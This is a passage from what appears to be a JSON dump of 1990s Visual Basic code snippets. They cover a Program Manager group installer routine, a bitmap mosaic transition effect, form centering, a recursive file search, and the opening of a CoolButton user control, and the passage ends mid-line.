strREPLITEM$ = \"[ReplaceItem(\"\n Const strADDITEM$ = \"[AddItem(\"\n Dim intIdx As Integer 'loop variable\n Screen.MousePointer = vbHourglass\n \n Dim intRetry As Integer\n For intRetry = 1 To 20\n On Error Resume Next\n frm.lblDDE.LinkTopic = \"PROGMAN|PROGMAN\"\n If Err = 0 Then\n Exit For\n End If\n DoEvents\n Next intRetry\n \n frm.lblDDE.LinkMode = 2\n For intIdx = 1 To 10\n DoEvents\n Next\n frm.lblDDE.LinkTimeout = 100\n On Error Resume Next\n If Err = 0 Then\n Select Case intDDE\n Case kDDE_AddItem\n ' The item will be created in the group titled strGroup\n '\n ' Force the group strGroup to be the active group. Additem only\n ' puts icons in the active group.\n #If 0 Then\n frm.lblDDE.LinkExecute strSHOWGRP & strGroup & strACTIVATE\n #Else\n frm.lblDDE.LinkExecute strADDGRP & strGroup & strENDCMD\n #End If\n frm.lblDDE.LinkExecute strREPLITEM & strTitle & strENDCMD\n Err = 0\n frm.lblDDE.LinkExecute strADDITEM & strCmd & strCOMMA & strTitle & String$(3, strCOMMA) & strENDCMD\n Case kDDE_AddGroup\n frm.lblDDE.LinkExecute strADDGRP & strGroup & strENDCMD\n frm.lblDDE.LinkExecute strSHOWGRP & strGroup & strRESTORE\n 'End Case\n End Select\n End If\n '\n 'Disconnect DDE Link\n frm.lblDDE.LinkMode = 0\n frm.lblDDE.LinkTopic = \"\"\n Screen.MousePointer = vbDefault\n Err = 0\nEnd Sub\n'\n'\n'***********************************************************'\n'************* CREATE PROGRAM GROUP FUNCTIONS **************'\n'***********************************************************'\n'\nPrivate Function fCreateProgGroup(frm As Form, sNewGroupName As String) As Boolean\n 'DONT VALIDATE OR CREATE THE 'DESKTOP' GROUP,\n ' OR THE 'START MENU GROUP', THEY SHOULD EXIST ALREADY.\n If UCase(Trim(sNewGroupName)) = kDesktopGroup Or sNewGroupName = kStartMenuGroup Then\n fCreateProgGroup = True\n Exit Function\n Else\n 'VALIDATE AND CREATE PROGRAM GROUP'\n If TreatAsWin95() Then\n 'WINDOWS 95 - VALIDATE'\n If Not fValid95Filename(sNewGroupName) Then\n MsgBox \"Error: Could not validate the Program Group name!\", vbQuestion, \"Error\"\n GoTo CGError\n End If\n Else\n 'WINDOWS NT - VALIDATE'\n If Not fValidNTGroupName(sNewGroupName) Then\n MsgBox \"Error: Could not validate the Program Group name!\", vbQuestion, \"Error\"\n GoTo CGError\n End If\n End If\n \n 'CREATE THE WINDOWS 95 OR NT PROGRAM GROUP'\n If Not fCreateOSProgramGroup(frm, sNewGroupName) Then\n GoTo CGError\n End If\n \n fCreateProgGroup = True\n End If\nExit Function\n \nCGError:\n fCreateProgGroup = False\nEnd Function\nPrivate Function fCreateShellGroup(ByVal strFolderName As String) As Boolean\n ReplaceDoubleQuotes strFolderName\n If strFolderName = \"\" Then\n Exit Function\n End If\n Dim fSuccess As Boolean\n fSuccess = OSfCreateShellGroup(strFolderName)\n If fSuccess Then\n Else\n MsgBox \"Create Start Menu Group Failed!\", vbExclamation, \"Ouch!\"\n End If\n fCreateShellGroup = fSuccess\nEnd Function\nPrivate Function fValid95Filename(strFilename As String) As Boolean\n' This routine verifies that strFileName is a valid file name.\n' It checks that its length is less than the max allowed\n' and that it doesn't contain any invalid characters..\n Dim iInvalidChar As Integer\n Dim iFilename As Integer\n \n If Not ValidateFilenameLength(strFilename) Then\n ' Name is too long.\n fValid95Filename = False\n Exit Function\n End If\n ' Search through the list of invalid filename characters and make\n ' sure none of them are in the string.\n For iInvalidChar = 1 To Len(kInvalid95GroupNameChars)\n If InStr(strFilename, Mid$(kInvalid95GroupNameChars, iInvalidChar, 1)) <> 0 Then\n fValid95Filename = False\n Exit Function\n End If\n Next iInvalidChar\n \n fValid95Filename = True\nEnd Function\nPublic Function fValidNTGroupName(strGroupName) As Boolean\n' This routine verifies that strGroupName is a valid group name.\n' It checks that its length is less than the max allowed\n' and that it doesn't contain any invalid characters.\n If Len(strGroupName) > kMaxGroupNameLength Then\n fValidNTGroupName = False\n Exit Function\n End If\n ' Search through the list of invalid filename characters and make\n ' sure none of them are in the string.\n Dim iInvalidChar As Integer\n Dim iFilename As Integer\n \n For iInvalidChar = 1 To Len(kInvalidNTGroupNameChars)\n If InStr(strGroupName, Mid$(kInvalidNTGroupNameChars, iInvalidChar, 1)) <> 0 Then\n fValidNTGroupName = False\n Exit Function\n End If\n Next iInvalidChar\n \n fValidNTGroupName = True\nEnd Function\nPrivate Function fCreateOSProgramGroup(frm As Form, ByVal strFolderName As String) As Boolean\n If TreatAsWin95() Then\n 'CREATE WINDOWS 95 PROGRAM GROUP'\n fCreateOSProgramGroup = fCreateShellGroup(strFolderName)\n Else\n 'CREATE WINDOWS NT PROGRAM GROUP'\n CreateProgManGroup frm, strFolderName\n fCreateOSProgramGroup = True\n End If\nEnd Function\nPrivate Sub CreateProgManGroup(frm As Form, ByVal strGroupName As String)\n PerformDDE frm, strGroupName, kEmptyString, kEmptyString, kDDE_AddGroup\nEnd Sub\n'\n'\n'***********************************************************'\n'********************* OTHER FUNCTIONS *********************'\n'***********************************************************'\nPrivate Function TreatAsWin95() As Boolean\n If IsWindows95() Then\n TreatAsWin95 = True\n ElseIf fNTWithShell() Then\n TreatAsWin95 = True\n Else\n TreatAsWin95 = False\n End If\nEnd Function\nPrivate Function IsWindows95() As Boolean\n Const dwMask95 = &H2&\n If GetWinPlatform() And dwMask95 Then\n IsWindows95 = True\n Else\n IsWindows95 = False\n End If\nEnd Function\nPrivate Function strUnQuoteString(ByVal strQuotedString As String)\n' This routine tests to see if strQuotedString is wrapped in quotation\n' marks, and, if so, remove them.\n strQuotedString = Trim(strQuotedString)\n If Mid$(strQuotedString, 1, 1) = kQuote And Right$(strQuotedString, 1) = kQuote Then\n ' It's quoted. Get rid of the quotes.\n strQuotedString = Mid$(strQuotedString, 2, Len(strQuotedString) - 2)\n End If\n strUnQuoteString = strQuotedString\nEnd Function\nPrivate Function StripTerminator(ByVal strString As String) As String\n Dim intZeroPos As Integer\n intZeroPos = InStr(strString, Chr$(0))\n If intZeroPos > 0 Then\n StripTerminator = Left$(strString, intZeroPos - 1)\n Else\n StripTerminator = strString\n End If\nEnd Function\nPrivate Sub ReplaceDoubleQuotes(str As String)\n Dim i As Integer\n For i = 1 To Len(str)\n If Mid$(str, i, 1) = \"\"\"\" Then\n Mid$(str, i, 1) = \"'\"\n End If\n Next i\nEnd Sub\n \nPrivate Function GetShortPathName(ByVal strLongPath As String) As String\n Const cchBuffer = 300\n Dim strShortPath As String\n Dim lResult As Long\n On Error GoTo 0\n strShortPath = String(cchBuffer, Chr$(0))\n lResult = OSGetShortPathName(strLongPath, strShortPath, cchBuffer)\n If lResult = 0 Then\n Error 53 ' File not found\n Else\n GetShortPathName = StripTerminator(strShortPath)\n End If\nEnd Function\nPrivate Function ValidateFilenameLength(strFilename As String) As Boolean\n ValidateFilenameLength = (Len(strFilename) < kMaxPathLength)\nEnd Function"},{"WorldId":1,"id":3451,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6902,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5829,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7966,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":883,"LineNumber":1,"line":"Sub GenMosaic(pctMosaic As Variant, MosaicMode As Integer)\n'Mosaic Mode is 1 for Mosaic, 2 for DeMosaic\n'Declare all objects\n'======================================================================\n' This code is (C) StarFox / Dave Hng '98\n' \n' Posted on http://www.planet-source-code.com during May '98.\n'\n' If you distribute this code, make sure that the complete listing is intact, with these\n' comments! If you use it in a program, don't worry about this introduction.\n' \n' Email: StarFox@earthcorp.com or psychob@inf.net.au\n' UIN: 866854\n'\n' Please credit me if you use this code! As far as i know, this is the only nice(ish) VB\n' image manip sub that i've seen! This is one major code hack! :)\n'\n' Takes a picturebox, and runs a animated mosaic transition though it!\n'\n' Uses Safearrays, CopyMemory, Bitmap basics. Not for the faint hearted.\n'\n' pctMosaic is a picturebox object that you want to run the transition through\n' MosaicMode is an integer, indicating what steps of the mosaic you want to run though.\n' 1 is mosaic up, 2 is mosaic down, 3 is mosaic up, then down again. Experiment! \n'\n' Not very efficient, but the code runs at about 2x to 10x emulated speed when compiled to \n' native code! It runs really really fast compiled under the native code compiler!\n' It's capable of animating a small bitmap on a 486dx2/80, with the interval set to 1, and \n' no re-redraws.\n'\n' Only works on 256 colour, single plane bitmaps. I'll write one for truecolour images when\n' i figure out how the RGBQuad type works, (Can anyone help?) and i've finished high school.\n'\n' You can change the for.. next statements with the K and L variables to change the speed of\n' the function. K is the mosaic depth, L is the number of times to call the function (limits\n' speed, so you can see it better)\n'\n' Thanks to the guys that wrote the VBPJ article on direct access to memory. Without that info\n' or ideas, i wouldnt've been able to write the sub.\n'\n' This code is used in StarLaunch, my multi emulator launcher:\n' http://starlaunch.home.ml.org\n' As a transition for screen size previews for snes emulators.\n'\n' Note: It does crash some computers, for no known reason. \n' I think it's as video card -> video driver problem.\n' Don't break while this sub is running, unless you really have to. If you want to stop\n' execution, you must call the cleanup code associated with what the sub's doing.\n' (Copymemory the pointer to 0& again)\n'\n' Have fun!\n'\n' \"If you think it's not possible, make it!\"\n'\n' -StarFox\nStatic mosaicgoing As Boolean\n'Keep a static variable to check if the sub's running. If it is, EXIT! Otherwise, GPF!\nIf mosaicgoing = True Then Exit Sub\nmosaicgoing = True\n'Init variables\nDim pict() As Byte\nDim SA As SafeArray2D, bmp As BITMAP\nDim r As Integer, c As Integer, Value As Byte, i As Integer, colour As Integer, j As Integer, k As Integer, L As Integer\nDim pCenter As Integer, pC As Integer, pR As Integer\nDim rRangei As Integer, rRangej As Integer, ti As Integer, ti2 As Integer\nDim uC As Integer, uR As Integer\nDim PictureArray() As Byte\nDim mRange As Integer\nDim cLimit As Integer, rLimit As Integer\n'Copy to the array\n'======================================================================\nGetObjectAPI pctMosaic.Picture, Len(bmp), bmp\nIf bmp.bmPlanes <> 1 Or bmp.bmBitsPixel <> 8 Then\n MsgBox \"Non-256 colour bitmap detected. No mosaic effects\"\n Exit Sub\nEnd If\n'Init the SafeArray\nWith SA\n .cbElements = 1\n .cDims = 2\n .bounds(0).lLbound = 0\n .bounds(0).cElements = bmp.bmHeight\n .bounds(1).lLbound = 0\n .bounds(1).cElements = bmp.bmWidthBytes\n .pvData = bmp.bmBits\nEnd With\n'Map the pointer over\nCopyMemory ByVal VarPtrArray(pict), VarPtr(SA), 4\n'Make a temporary array to hold the bitmap data.\nReDim PictureArray(UBound(pict, 1), UBound(pict, 2))\n'Copy the bitmap into this array. I could use copymemory again, but this is fast enough, \n'and a lot safer :)\nFor c = 0 To UBound(pict, 1)\n For r = 0 To UBound(pict, 2)\n PictureArray(c, r) = pict(c, r)\n Next r\nNext c\n'Clean up\nCopyMemory ByVal VarPtrArray(pict), 0&, 4\n'======================================================================\nSelect Case MosaicMode\n Case 1\n 'Mosaic\n For k = 1 To 16 Step 1\n For L = 1 To 1\n\t\t'Cube roots used, because the squaring effect looks nicer. Also, due to the\n\t\t'Nature of my code, it hides irregular the pixel expansion\n mRange = k ^ 1.5\n GoSub Mosaic\n Next L\n Next k\n Case 2\n 'DeMosaic\n For k = 16 To 0 Step -(1)\n For L = 1 To 1\n mRange = k ^ 1.5\n GoSub Mosaic\n Next L\n Next k\n Case 3\n 'Mosaic, then DeMosaic\n For k = 1 To 8 Step 1\n mRange = k ^ 1.5\n GoSub Mosaic\n Next k\n For k = (8) To 0 Step -(1)\n mRange = k ^ 1.5\n GoSub Mosaic\n Next k\nEnd Select\nmosaicgoing = False\nExit Sub\n'Actual Mosaic Code\n'======================================================================\nMosaic:\n'Get the bitmap info again, in case something's changed\nGetObjectAPI pctMosaic.Picture, Len(bmp), bmp\n'Reinit the SA\nWith SA\n .cbElements = 1\n .cDims = 2\n .bounds(0).lLbound = 0\n .bounds(0).cElements = bmp.bmHeight\n .bounds(1).lLbound = 0\n .bounds(1).cElements = bmp.bmWidthBytes\n .pvData = bmp.bmBits\nEnd With\n''Fake' the pointer\nCopyMemory ByVal VarPtrArray(pict), VarPtr(SA), 4\n'Work out the distance between the square division grid, and the pixel to get data from.\npCenter = (mRange) \\ 2\n'Find the limits of the image\nuC = UBound(pict, 1)\nuR = UBound(pict, 2)\nFor c = 0 To UBound(pict, 1) Step (mRange + 1)\n For r = 0 To UBound(pict, 2) Step (mRange + 1)\n\t 'Work out the distance between the square division grid, and the pixel to get data from.\n pCenter = (mRange) \\ 2\n \n\t 'Pixel size to copy over\n\t rRangei = (mRange)\n rRangej = (mRange)\n \n 'Check if it's running out of bound, in case you turned the compiler option off.\n If c + mRange > UBound(pict, 1) Then rRangei = UBound(pict, 1) - c\n If r + mRange > UBound(pict, 2) Then rRangej = UBound(pict, 2) - r\n \n 'Work out where to get the data from\n pC = c + pCenter\n pR = r + pCenter\n If pC > UBound(pict, 1) Then pC = c\n If pR > UBound(pict, 2) Then pR = r\n 'Get the palette entry\n Value = PictureArray(pC, pR)\n If c = 0 Then cLimit = -pCenter\n If r = 0 Then rLimit = -pCenter\n \n 'Copy the palette entry number over the region's pixels\n For i = cLimit To (rRangei)\n For j = rLimit To (rRangej)\n If c + i < 0 Or r + j < 0 Then GoTo SkipPixel\n pict(c + i, r + j) = Value\nSkipPixel:\n Next j\n Next i\nSkipThis:\n \n Next r\nNext c\nEndThis:\n'Clean up\nCopyMemory ByVal VarPtrArray(pict), 0&, 4\n'Refresh, so the user sees the change. Don't replace with a DoEvents! \n'Refreshing is slower, but it's less dangerous!\npctMosaic.Refresh\n'======================================================================\nReturn\nEnd Sub"},{"WorldId":1,"id":1445,"LineNumber":1,"line":"Public Sub Center(ByRef frm As Form)\n'Centers a form, relative to the available workspace\nDim rt As RECT, result As Long\nDim X As Single, Y As Single\nDim oldScaleMode As Integer\nresult = SystemParametersInfo(SPI_GETWORKAREA, 0&, rt, 0&)\nX = rt.Right - rt.Left\nY = rt.Bottom - rt.Top\nX = X * Screen.TwipsPerPixelX\nY = Y * Screen.TwipsPerPixelY\nX = X \\ 2 - (frm.Width \\ 2)\nY = Y \\ 2 - (frm.Height \\ 2)\noldScaleMode = frm.ScaleMode\nfrm.ScaleMode = vbTwips\nfrm.Move X, Y\nfrm.ScaleMode = oldScaleMode\nEnd Sub\n"},{"WorldId":1,"id":1446,"LineNumber":1,"line":"Public Function FindFile(ByVal FileName As String, ByVal Path As String) As String\nDim hFile As Long, ts As String, WFD As WIN32_FIND_DATA\nDim result As Long, sAttempt As String, szPath As String\nszPath = GetRDP(Path) & \"*.*\" & Chr$(0)\n'Note: Inline function here\n'----Starts----\nDim szPath2 As String, szFilename As String, dwBufferLen As Long, szBuffer As String, lpFilePart As String\n'Set variables\nszPath2 = Path & Chr$(0)\nszFilename = FileName & Chr$(0)\nszBuffer = String$(MAX_PATH, 0)\ndwBufferLen = Len(szBuffer)\n'Ask windows if it can find a file matching the filename you gave it.\nresult = SearchPath(szPath2, szFilename, vbNullString, dwBufferLen, szBuffer, lpFilePart)\n'----Ends----\nIf result Then\n FindFile = StripNull(szBuffer)\n Exit Function\nEnd If\n'Start asking windows for files.\nhFile = FindFirstFile(szPath, WFD)\nDo\n \n If WFD.dwFileAttributes And FILE_ATTRIBUTE_DIRECTORY Then\n 'Hey look, we've got a directory!\n ts = StripNull(WFD.cFileName)\n \n If Not (ts = \".\" Or ts = \"..\") Then\n \n 'Don't look for hidden or system directories\n If Not (WFD.dwFileAttributes And (FILE_ATTRIBUTE_HIDDEN Or FILE_ATTRIBUTE_SYSTEM)) Then\n \n 'Search directory recursively\n sAttempt = FindFile(FileName, GetRDP(Path) & ts)\n If sAttempt <> \"\" Then\n FindFile = sAttempt\n Exit Do\n End If\n \n End If\n \n End If\n End If\n WFD.cFileName = \"\"\n result = FindNextFile(hFile, WFD)\nLoop Until result = 0\nFindClose hFile\nEnd Function\nPublic Function StripNull(ByVal WhatStr As String) As String\n Dim pos As Integer\n pos = InStr(WhatStr, Chr$(0))\n If pos > 0 Then\n StripNull = Left$(WhatStr, pos - 1)\n Else\n StripNull = WhatStr\n End If\nEnd Function\nPublic Function GetRDP(ByVal sPath As String) As String\n'Adds a backslash on the end of a path, if required.\n If sPath = \"\" Then Exit Function\n If Right$(sPath, 1) = \"\\\" Then GetRDP = sPath: Exit Function\n GetRDP = sPath & \"\\\"\nEnd Function\n"},{"WorldId":1,"id":1626,"LineNumber":1,"line":"'\n' Instead of doing a very big cut and paste job, you can download this control\n' as source code, and compiled to an activex control in this zip file:\n'\n' http://users.wantree.com.au/~paulhng/files/cSFCoolbutton.zip\n'\n' Details of the properties and such are in the readme included in the zip file.\n'\n' It's 31kb, and could save a lot of headaches piecing it together again :)\n'\n' If you are unfamiliar with UserControls, or are working on a mission critical\n' application, i don't recommend you using the UserControl, unless you \n' definately know what you're doing (and can understand the code entirely).\n'\n' Note: This code comes completely unwarranted. If it does damage in any way, \n' i am not responsible. If you use this code, you agree to these terms.\n'\n' Cut and paste beginning at \"VERSION 5.00\" to the end, and save \n' it as cSFCoolButton.ctl. \n' Then load it up in VB, and everything should work fine:\n'\n'\n' Enjoy!\n' [ I hope the code formatter here doesn't screw it up too much :) ]\n\nVERSION 5.00\nBegin VB.UserControl cSfCb \n AutoRedraw = -1 'True\n ClientHeight = 1395\n ClientLeft = 0\n ClientTop = 0\n ClientWidth = 2205\n FillStyle = 0 'Solid\n BeginProperty Font \n Name = \"Arial\"\n Size = 8.25\n Charset = 0\n Weight = 700\n Underline = 0 'False\n Italic = 0 'False\n Strikethrough = 0 'False\n EndProperty\n FontTransparent = 0 'False\n ForeColor = &H00FFFFFF&\n KeyPreview = -1 'True\n ScaleHeight = 93\n ScaleMode = 3 'Pixel\n ScaleWidth = 147\nEnd\nAttribute VB_Name = \"cSfCb\"\nAttribute VB_GlobalNameSpace = False\nAttribute VB_Creatable = True\nAttribute VB_PredeclaredId = False\nAttribute VB_Exposed = True\n'----------------------------------------------------------\n' CoolButton control, ver 2.2\n'\n' (C) Dave Hng '99 ryuunosuke@earthcorp.com\n'\n' http://www.earthcorp.com/ryuunosuke/\n'----------------------------------------------------------\n'\n'A lot nicer with regards to system resources and CPU time,\n'using SetCapture and ReleaseCapture instead of a timer,\n'though a lot more confusing, especially the DrawBevel sub. :)\n'\n'Files for this usercontrol:\n'----------------------------------------------------------\n'cSfCoolButton.ctl\n'\n'Nothing else! Add it, and off you go!\n'\n'Known problems:\n'----------------------------------------------------------\n'Tooltips don't agree with SetCapture, it doesn't display them.\n' -Can be rectified through subclassing, but that's a lot of work.\n'Bevels are not drawn when in design mode, because i don't want to change lots of subs and functions.\n' -it works, i'm not going to break it again.. :)\n'Never name a property TextFont, it won't work for some reason.. :P\n' -Causes problems, property is never saved.. odd.\n'AutoDim doesn't work all the time\n' -Don't know why.\n'----------------------------------------------------------\n'You shouldn't need to modify anything below here...\n'(You shouldn't need to modify anything at all.. :) )\nOption Explicit\n'Constants for AutoDim.\nPrivate Const csDimPercent As Single = 0.9 'Dim to 90%\nPrivate Const csBriPercent As Single = 1.2 'Brighten to 120%\nPrivate Const cbMaxValue As Byte = 255 'Max value for a byte\n'API Declares\n'----------------------------------------------------------\nPrivate Declare Function SetCapture Lib \"user32\" (ByVal hWnd As Long) As Long\nPrivate Declare Function ReleaseCapture Lib \"user32\" () As Long\nPrivate Declare Sub Sleep Lib \"kernel32\" (ByVal dwMilliseconds As Long)\nPrivate Declare Function GetWindowRect Lib \"user32\" (ByVal hWnd As Long, lpRect As RECT) As Long\nPrivate Declare Function DrawText Lib \"user32\" Alias \"DrawTextA\" (ByVal hdc As Long, ByVal lpStr As String, ByVal nCount As Long, lpRect As RECT, ByVal wFormat As Long) As Long\nPrivate Declare Function CreateCompatibleDC Lib \"gdi32\" (ByVal hdc As Long) As Long\nPrivate Declare Function SelectPalette Lib \"gdi32\" (ByVal hdc As Long, ByVal hPalette As Long, ByVal bForceBackground As Long) As Long\nPrivate Declare Function RealizePalette Lib \"gdi32\" (ByVal hdc As Long) As Long\nPrivate Declare Function BitBlt Lib \"gdi32\" (ByVal hDestDC As Long, ByVal x As Long, ByVal y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hSrcDC As Long, ByVal xSrc As Long, ByVal ySrc As Long, ByVal dwRop As Long) As Long\nPrivate Declare Function SelectObject Lib \"gdi32\" (ByVal hdc As Long, ByVal hObject As Long) As Long\nPrivate Declare Function DeleteDC Lib \"gdi32\" (ByVal hdc As Long) As Long\nPrivate Declare Function GetDC Lib \"user32\" (ByVal hWnd As Long) As Long\nPrivate Declare Function ReleaseDC Lib \"user32\" (ByVal hWnd As Long, ByVal hdc As Long) As Long\nPrivate Declare Function CreateHalftonePalette Lib \"gdi32\" (ByVal hdc As Long) As Long\nPrivate Declare Function DeleteObject Lib \"gdi32\" (ByVal hObject As Long) As Long\nPrivate Declare Function GetObject Lib \"gdi32\" Alias \"GetObjectA\" (ByVal hObject As Long, ByVal nCount As Long, lpObject As Any) As Long\nPrivate Declare Function TextOut Lib \"gdi32\" Alias \"TextOutA\" (ByVal hdc As Long, ByVal x As Long, ByVal y As Long, ByVal lpString As String, ByVal nCount As Long) As Long\nPrivate Declare Function SetTextAlign Lib \"gdi32\" (ByVal hdc As Long, ByVal wFlags As Long) As Long\nPrivate Declare Function SetBkMode Lib \"gdi32\" (ByVal hdc As Long, ByVal nBkMode As Long) As Long\nPrivate Declare Function CreateCompatibleBitmap Lib \"gdi32\" (ByVal hdc As Long, ByVal nWidth As Long, ByVal nHeight As Long) As Long\nPrivate Declare Sub CopyMemory Lib \"kernel32\" Alias \"RtlMoveMemory\" (Destination As Any, Source As Any, ByVal Length As Long)\n'You might like to use this function instead of CreateCompatibleBitmap, if it doesn't work for some reason.\n'Private Declare Function CreateDiscardableBitmap Lib \"gdi32\" (ByVal hdc As Long, ByVal nWidth As Long, ByVal nHeight As Long) As Long\nPrivate Type BITMAPINFOHEADER '40 bytes\n biSize As Long\n biWidth As Long\n biHeight As Long\n biPlanes As Integer\n biBitCount As Integer\n biCompression As Long\n biSizeImage As Long\n biXPelsPerMeter As Long\n biYPelsPerMeter As Long\n biClrUsed As Long\n biClrImportant As Long\nEnd Type\nPrivate Type RGBQUAD\n rgbBlue As Byte\n rgbGreen As Byte\n rgbRed As Byte\n rgbReserved As Byte\nEnd Type\nPrivate Type BITMAPINFO\n bmiHeader As BITMAPINFOHEADER\n bmiColors As RGBQUAD\nEnd Type\nPrivate Declare Function GetDIBits Lib \"gdi32\" (ByVal aHDC As Long, ByVal hBitmap As Long, ByVal nStartScan As Long, ByVal nNumScans As Long, lpBits As Any, lpBI As BITMAPINFO, ByVal wUsage As Long) As Long\nPrivate Declare Function SetDIBits Lib \"gdi32\" (ByVal hdc As Long, ByVal hBitmap As Long, ByVal nStartScan As Long, ByVal nNumScans As Long, lpBits As Any, lpBI As BITMAPINFO, ByVal wUsage As Long) As Long\n'Constants for API calls\n'----------------------------------------------------------\nPrivate Const TA_CENTER = 6\nPrivate Const TA_LEFT = 0\nPrivate Const TA_RIGHT = 2\nPrivate Const TA_BASELINE = 24\nPrivate Const DT_BOTTOM = &H8\nPrivate Const DT_CALCRECT = &H400\nPrivate Const DT_CENTER = &H1\nPrivate Const DT_EXPANDTABS = &H40\nPrivate Const DT_EXTERNALLEADING = &H200\nPrivate Const DT_LEFT = &H0\nPrivate Const DT_NOCLIP = &H100\nPrivate Const DT_NOPREFIX = &H800\nPrivate Const DT_RIGHT = &H2\nPrivate Const DT_SINGLELINE = &H20\nPrivate Const DT_TABSTOP = &H80\nPrivate Const DT_TOP = &H0\nPrivate Const DT_VCENTER = &H4\nPrivate Const DT_WORDBREAK = &H10\nPrivate Const TRANSPARENT = 1\nPrivate Const BI_RGB = 0&\nPrivate Const DIB_RGB_COLORS = 0& ' color table in RGBs\n'TypeDef Structs that this control uses\n'----------------------------------------------------------\nPrivate Type BITMAP\n bmType As Long\n bmWidth As Long\n bmHeight As Long\n bmWidthBytes As Long\n bmPlanes As Integer\n bmBitsPixel As Integer\n bmBits As Long\nEnd Type\nPrivate Type RECT\n Left As Long\n Top As Long\n Right As Long\n Bottom As Long\nEnd Type\nPrivate Enum eBevelType\n'----------------------------------------------------------\n'Do not change these values, they are set for specific reasons,\n'as i do some bit operations on them to change settings.\n'It works like this, each value is two bits:\n'\n' 1 1\n' Mouse Up or Down Mouse in area?\n' -0 if Up, 1 if Down -0 if Out, 1 if In\n'\n'Heh, and you thought VB programmers never knew what bits were.. :)\n'----------------------------------------------------------\n UpIn = 1\n DownIn = 3\n UpOut = 0\n DownOut = 2\nEnd Enum\n'Bevel width constant\nPrivate Const ciBevelWidth As Integer = 1\nPublic Enum eVTextPosition\n cTop = 0\n cMiddle = 1\n cBottom = 2\n c3Quarters = 3\nEnd Enum\nPublic Enum eHTextPosition\n ciLeft = 0\n ciCenter = 1\n ciRight = 2\nEnd Enum\n'Property variables\nPrivate bLoaded As Boolean\nPrivate bUnderlineFocus As Boolean\nPrivate bUsePictures As Boolean\nPrivate bUseBevels As Boolean\nPrivate bDipControls As Boolean\nPrivate iBevelType As eBevelType\nPrivate bDeviated As Boolean\nPrivate iInitialScaleMode As Integer\nPrivate bAutoSize As Boolean\nPrivate sCaption As String\nPrivate bEnabled As Boolean\nPrivate bButtonsAlwaysUp As Boolean\nPrivate bAutoDim As Boolean\nPrivate lvTextPosition As Long\nPrivate lhTextPosition As Long\nPrivate bAutoColour As Boolean\nPrivate hMouseOverBitmap As Long\nPrivate hMouseDownBitmap As Long\n'Pictures\nPrivate picNormal As StdPicture\nPrivate picMouseOver As StdPicture\nPrivate picMouseDown As StdPicture\n'Colours!\nPrivate colour_Highlight As OLE_COLOR\nPrivate colour_LowLight As OLE_COLOR\nPrivate colour_BackColour As OLE_COLOR\nPrivate colour_TextStdColour As OLE_COLOR\nPrivate colour_TextOverColour As OLE_COLOR\nPrivate colour_Ignore As OLE_COLOR\n'Working variables\nPrivate ti As Integer\nPrivate ti2 As Integer\nPrivate bClick As Boolean\nPrivate bMouseDowned As Boolean\n'Events\n'----------------------------------------------------------\nPublic Event Click()\nPublic Event MouseUp(Button As Integer, Shift As Integer, x As Single, y As Single)\nPublic Event MouseDown(Button As Integer, Shift As Integer, x As Single, y As Single)\nPublic Event MouseMove(Button As Integer, Shift As Integer, x As Single, y As Single)\nPublic Event MouseEnter()\nPublic Event MouseExit()\nPrivate Sub AutoSizeControl()\nDim result As Long, bmp As BITMAP\n'Find bitmap's dimensions. I don't know what picture\n'object width and height is measured in... something weird.\nresult = GetObject(picNormal.Handle, Len(bmp), bmp)\nUserControl.ScaleMode = vbPixels\n'Leave room for bevels if needed\nIf bUseBevels Then\n UserControl.Height = (bmp.bmHeight + 2) * Screen.TwipsPerPixelY\n UserControl.Width = (bmp.bmWidth + 2) * Screen.TwipsPerPixelX\nElse\n UserControl.Height = bmp.bmHeight * Screen.TwipsPerPixelY\n UserControl.Width = bmp.bmWidth * Screen.TwipsPerPixelX\nEnd If\nEnd Sub\n\nPrivate Sub DrawBevel(ByVal nBevelType As Integer)\nOn Error GoTo ErrorHandler\n'Exit this sub if things aren't loaded, otherwise trouble will arise\nIf Not bLoaded Then Exit Sub\n'Manual bitmap drawing, and text output!\n'Sheesh, what a waste of time :)\n'You can't use image and label controls, because they receive\n'mouse events, rather than the control, which messes things up.\n'------------------------------------------------------------------\nDim result As Long, ts As String\nDim picDraw As StdPicture\nDim hBitmapHack As Long\nDim bInnerBevel As Boolean\nDim bBevel As Boolean\nUserControl.ScaleMode = vbPixels\nUserControl.Cls\n'Set vars appropriately\n'------------------------------------------------------------------\nSelect Case nBevelType\n Case DownOut\n bInnerBevel = True\n bBevel = True\n If bUsePictures Then Set picDraw = picNormal\n UserControl.ForeColor = colour_TextStdColour\n hBitmapHack = picNormal.Handle\n \n Case DownIn\n bInnerBevel = True\n bBevel = True\n If bUsePictures Then Set picDraw = picMouseDown\n UserControl.ForeColor = colour_TextOverColour\n hBitmapHack = hMouseDownBitmap\n \n Case UpIn\nDrawUp:\n UserControl.Cls\n bInnerBevel = False\n bBevel = bUseBevels\n If (bUsePictures And Not (picMouseOver Is Nothing)) Then Set picDraw = picMouseOver\n UserControl.ForeColor = colour_TextOverColour\n hBitmapHack = hMouseOverBitmap\n \n Case UpOut\n If bButtonsAlwaysUp Then GoTo DrawUp\n bBevel = False\n UserControl.Cls\n If bUsePictures Then Set picDraw = picNormal\n UserControl.ForeColor = colour_TextStdColour\n hBitmapHack = picNormal.Handle\n \nEnd Select\n'Check in case there's no picture, if not, bail.\nIf picDraw Is Nothing Then Set picDraw = picNormal\nIf picDraw.Handle = 0 Then Exit Sub\n'This next part draws the image and text to the usercontrol\n'I seriously hope there are no memory leaks here.\n'------------------------------------------------------------------\nDim dcDesktop As Long, palHalfTone As Long\nDim dcTemp As Long, palOld As Long\nDim bmpOld As Long, bmp As BITMAP, rt As RECT\nDim XPos As Long, YPos As Long\nDim oldTextAlign As Long\nDim oldTextDrawMode As Long\n'Create a halftone palette to dither to, if needed.\npalHalfTone = CreateHalftonePalette(UserControl.hdc)\n'Create off screen DC to draw to\ndcDesktop = GetDC(ByVal 0&)\ndcTemp = CreateCompatibleDC(dcDesktop)\npalOld = SelectPalette(dcTemp, palHalfTone, True)\nRealizePalette dcTemp\n'Associate picture with dc, including self generated dimmed bitmaps\nIf bAutoDim Then\n bmpOld = SelectObject(dcTemp, hBitmapHack)\nElse\n bmpOld = SelectObject(dcTemp, picDraw.Handle)\nEnd If\n'Blit picture to usercontrol's center\nresult = GetObject(picDraw.Handle, Len(bmp), bmp)\nXPos = UserControl.ScaleWidth / 2 - bmp.bmWidth / 2\nYPos = 